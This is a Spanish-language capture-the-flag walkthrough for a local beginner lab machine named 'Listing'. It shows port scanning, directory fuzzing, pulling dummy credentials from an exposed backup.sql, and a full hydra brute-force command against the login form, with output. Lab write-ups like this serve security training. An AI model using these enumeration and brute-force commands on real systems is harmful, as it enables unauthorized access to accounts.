Listing BugBountyLabs (Principiante)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip bugbountylabs_listing.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

python3 bugbountylabs_listing.py

Info:

██████╗ ██╗   ██╗ ██████╗     ██████╗  ██████╗ ██╗   ██╗███╗   ██╗████████╗██╗   ██╗    ██╗      █████╗ ██████╗ ███████╗
██╔══██╗██║   ██║██╔════╝     ██╔══██╗██╔═══██╗██║   ██║████╗  ██║╚══██╔══╝╚██╗ ██╔╝    ██║     ██╔══██╗██╔══██╗██╔════╝
██████╔╝██║   ██║██║  ███╗    ██████╔╝██║   ██║██║   ██║██╔██╗ ██║   ██║    ╚████╔╝     ██║     ███████║██████╔╝███████╗
██╔══██╗██║   ██║██║   ██║    ██╔══██╗██║   ██║██║   ██║██║╚██╗██║   ██║     ╚██╔╝      ██║     ██╔══██║██╔══██╗╚════██║
██████╔╝╚██████╔╝╚██████╔╝    ██████╔╝╚██████╔╝╚██████╔╝██║ ╚████║   ██║      ██║       ███████╗██║  ██║██████╔╝███████║
╚═════╝  ╚═════╝  ╚═════╝     ╚═════╝  ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝   ╚═╝      ╚═╝       ╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝

Fundadores
El Pingüino de Mario
Curiosidades De Hackers

Cofundadores
Zunderrub
CondorHacks
Lenam

Descargando la máquina listing, espere por favor...

[########################################] 100%
Descarga completa.
La IP de la máquina listing es -> 172.17.0.2

Presiona Ctrl+C para detener la máquina

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-27 10:01 CET
Nmap scan report for corsy.lab (172.17.0.2)
Host is up (0.000031s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Academia de Bases de Datos
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

Si entramos en la pagina no veremos gran cosa, por lo que vamos a realizar un poco de fuzzing.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 3358]
/login.php            (Status: 200) [Size: 1925]
/send                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

Vemos que tiene un /login.php si entramos veremos un login que dice lo siguiente:

Nuestro objetivo es encontrar las credenciales del login, si volvemos a la pagina principal e investigamos un poco el codigo veremos lo siguiente:

<div class="container">
                <h2>Contacto</h2>
                <p>¿Tienes dudas? Contáctanos para más información.</p>
                <form action="/send/backup_recovery/formulario.php" method="POST">
                    <label for="nombre">Nombre:</label>
                    <input type="text" id="nombre" name="nombre" required>

                    <label for="email">Correo Electrónico:</label>
                    <input type="email" id="email" name="email" required>

                    <label for="mensaje">Mensaje:</label>
                    <textarea id="mensaje" name="mensaje" rows="5" required></textarea>

                    <button type="submit">Enviar</button>
                </form>
            </div>

Vemos que hay una ruta llamada:

<form action="/send/backup_recovery/formulario.php" method="POST">

Parece ser que es donde guarda los archivos, vamos a comprobar si tuviera un fallo de seguridad y pudiera entrar sin ningun tipo de autenticacion.

URL = http://<IP>/send/backup_recovery/

Si entramos aqui, veremos lo siguiente:

Vemos que ha funcionado y observamos un archivo llamado backup.sql, nos lo descargamos y vamos a observarlo con una herramienta llamada sqlite3:

sqlite3

sqlite3 backup.sql

Vamos a enumerar las tablas:

.tables

Info:

recuperacion

Ahora vamos a seleccionar toda la informacion de dicha tabla:

select * from recuperacion;

Info:

user1|password123
user2|securepass456
user3|mypassword789
admin|adminsecurepass
guest|guestpassword
testuser|test123
johndoe|johndoe2023
janedoe|janesecure!@#
user4|password492
user5|password615
user6|password738
user7|password861
user8|password984
user9|password1107
user10|password1230
user11|password1353
user12|password1476
user13|password1599
user14|password1722
user15|password1845
user16|password1968
user17|password2091
user18|password2214
user19|password2337
user20|password2460
user21|password2583
user22|password2706
user23|password2829
user24|password2952
user25|password3075
user26|password3198
user27|password3321
user28|password3444
user29|password3567
user30|password3690
user31|password3813
user32|password3936
user33|password4059
user34|password4182
user35|password4305
user36|password4428
user37|password4551
user38|password4674
user39|password4797
user40|password4920
user41|password5043
user42|password5166
user43|password5289
user44|password5412
user45|password5535
user46|password5658
user47|password5781
user48|password5904
user49|password6027
user50|password6150
user51|password6273
user52|password6396
user53|password6519
user54|password6642
user55|password6765
user56|password6888
user57|password7011
user58|password7134
user59|password7257
user60|password7380
user61|password7503
user62|password7626
user63|password7749
user64|password7872
user65|password7995
user66|password8118
user67|password8241
user68|password8364
user69|password8487
user70|password8610
user71|password8733
user72|password8856
user73|password8979
user74|password9102
user75|password9225
user76|password9348
user77|password9471
user78|password9594
user79|password9717
user80|password9840
user81|password9963
user82|password10086
user83|password10209
user84|password10332
user85|password10455
user86|password10578
user87|password10701
user88|password10824
user89|password10947
user90|password11070
user91|password11193
user92|password11316
user93|password11439
user94|password11562
user95|password11685
user96|password11808
user97|password11931
user98|password12054
user99|password12177
user100|password12300

Vemos que hemos obtenido muchisimos usuarios y contraseñas, por lo que vamos a limpiar un poco dicho archivo y dejarlo preparado para hacer un users.txt y un passwords.txt, y realizar fuerza bruta a dicho formulario de login con hydra.

Vamos a guardar todas esas credenciales en un archivo llamado credenciales.txt para realizar lo siguiente:

Extraer solo los usuarios

cut -d '|' -f1 credenciales.txt > users.txt

Extraer solo las passwords

cut -d '|' -f2 credenciales.txt > passwords.txt

Una vez echo esto, vamos a dar paso a la fuerza bruta.

Hydra

hydra -L users.txt -P passwords.txt <IP> http-post-form "/login.php:username=^USER^&password=^PASS^:Credenciales incorrectas"

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-27 10:23:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11025 login tries (l:105/p:105), ~690 tries per task
[DATA] attacking http-post-form://172.17.0.2:80/login.php:username=^USER^&password=^PASS^:Credenciales incorrectas
[STATUS] 3233.00 tries/min, 3233 tries in 00:01h, 7792 to do in 00:03h, 16 active
[STATUS] 3976.00 tries/min, 7952 tries in 00:02h, 3073 to do in 00:01h, 16 active
[80][http-post-form] host: 172.17.0.2   login: user80   password: password9840
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-27 10:25:51

Despues de un rato, vemos que hemos encontrado las credenciales:

User: user80
Pass: password9840

Ahora las probaremos en el login, una vez iniciado sesion con dichas credenciales veremos lo siguiente:

Con esto ya habremos completado la maquina y aprovechado la vulnerabilidad BAC.

Last updated